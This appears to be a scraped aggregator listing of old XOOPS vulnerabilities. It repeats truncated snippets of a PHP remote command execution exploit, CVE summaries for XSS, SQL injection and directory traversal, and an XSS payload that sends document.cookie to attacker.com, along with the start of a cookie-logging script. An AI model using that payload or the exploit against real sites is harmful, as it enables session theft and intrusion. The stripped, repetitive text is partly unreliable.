XOOPS <= 2.0.13.2 xoopsOption[nocommon] Remote Exploit

No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "XOOPS = 2.0.13.2 'xoopsOptionnocommon' exploit\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; / works with: magicquotesgpc = Off registerglobals = On / if $argc4 echo...

XOOPS 2.0.13.2 - 'xoopsOption[nocommon]' Remote Command Execution

!/usr/bin/php -q -d shortopentag=on ? echo "XOOPS = 2.0.13.2 'xoopsOptionnocommon' exploit\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; / works with: magicquotesgpc = Off registerglobals = On / if $argc4 echo "Usage: php ".$argv0." host path cm...

XOOPS 2.0.13.2 - xoopsOption[nocommon] Remote Command Execution

XOOPS 2.0.13.2 - xoopsOptionnocommon Remote Command Execution !/usr/bin/php -q -d shortopentag=on ? echo "XOOPS = 2.0.13.2 'xoopsOptionnocommon' exploit\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; / works with: magicquotesgpc = Off...

XOOPS <= 2.0.13.2 xoopsOption[nocommon] Remote Exploit

Exploit for unknown platform in category web applications ====================================================== XOOPS = 2.0.13.2 xoopsOptionnocommon Remote Exploit ====================================================== !/usr/bin/php -q -d shortopentag=on ? echo "XOOPS = 2.0.13.2...

CVE-2006-0198

Cross-site scripting XSS vulnerability in a certain module, possibly poll or Pool, for XOOPS allows remote attackers to inject arbitrary web script or HTML via JavaScript in the SRC attribute of an IMG element in a comment...

Cross site scripting

Cross-site scripting XSS vulnerability in a certain module, possibly poll or Pool, for XOOPS allows remote attackers to inject arbitrary web script or HTML via JavaScript in the SRC attribute of an IMG element in a comment...

CVE-2006-0198

Cross-site scripting XSS vulnerability in a certain module, possibly poll or Pool, for XOOPS allows remote attackers to inject arbitrary web script or HTML via JavaScript in the SRC attribute of an IMG element in a comment...

CVE-2006-0198

CVE-2006-0198 describes a Cross-site scripting (XSS) vulnerability in a XOOPS module (possibly poll or Pool) where remote attackers can inject arbitrary web script or HTML via the SRC attribute of an IMG element in a comment. The issue is documented with a MEDIUM base score (4.3) and partial inte...

CVE-2006-0198: Undefined Security Weakness

Cross-site scripting XSS vulnerability in a certain module, possibly poll or Pool, for XOOPS allows remote attackers to inject arbitrary web script or HTML via JavaScript in the SRC attribute of an IMG element in a comment...

xoopsXSS.txt

NightWarrior nightwarrior771athotmail.com Xoops Pool Module IMG Tag Cross Site Scripting Contact :nightwarrior771athotmail.com Post Coment this Code:...

Xoops Pool Module IMG Tag Cross Site Scripting

NightWarriorKurdihs Hacker nightwarrior771athotmail.com Xoops Pool Module IMG Tag Cross Site Scripting Contact :nightwarrior771athotmail.com Post Coment this Code: img src="javascript:window.navigate'http://attacker.com/cookies.php?c='+document.cookie;" cookies.php $cookie = $GET'c'; $ip = getenv...

Xoops Pool Module - IMG Tag HTML Injection

Xoops Pool Module - IMG Tag HTML Injection source: https://www.securityfocus.com/bid/16189/info The XOOPS Pool Module is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated...

Xoops Pool Module - IMG Tag HTML Injection

source: https://www.securityfocus.com/bid/16189/info The XOOPS Pool Module is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script co...

CVE-2005-3681

SQL injection vulnerability in viewcat.php in XOOPS WF-Downloads module 2.05 allows remote attackers to execute arbitrary SQL commands via the list parameter...

CVE-2005-3680

Directory traversal vulnerability in editorregistry.php in XOOPS 2.2.3 allows remote attackers to read or include arbitrary local files via a .. dot dot in the xoopsConfiglanguage parameter...

CVE-2005-3680

Directory traversal vulnerability in editorregistry.php in XOOPS 2.2.3 allows remote attackers to read or include arbitrary local files via a .. dot dot in the xoopsConfiglanguage parameter...

CVE-2005-3681

CVE-2005-3681 describes a SQL injection vulnerability in the XOOPS WF-Downloads module 2.05. The flaw affects the file viewcat.php where the list parameter can be exploited to execute arbitrary SQL commands. Based on the provided documents, the vulnerability is exploitable remotely (network vecto...

CVE-2005-3680

The CVE-2005-3680 entry concerns XOOPS 2.2.3. It describes a directory traversal/Local File Inclusion in editor_registry.php, exploitable via a .. in the xoopsConfig[language] parameter, allowing remote attackers to read or include arbitrary local files. The affected component is XOOPS 2.2.3 (edi...

CVE-2005-3681

SQL injection vulnerability in viewcat.php in XOOPS WF-Downloads module 2.05 allows remote attackers to execute arbitrary SQL commands via the list parameter...

CVE-2005-3681: Undefined Security Weakness

SQL injection vulnerability in viewcat.php in XOOPS WF-Downloads module 2.05 allows remote attackers to execute arbitrary SQL commands via the list parameter...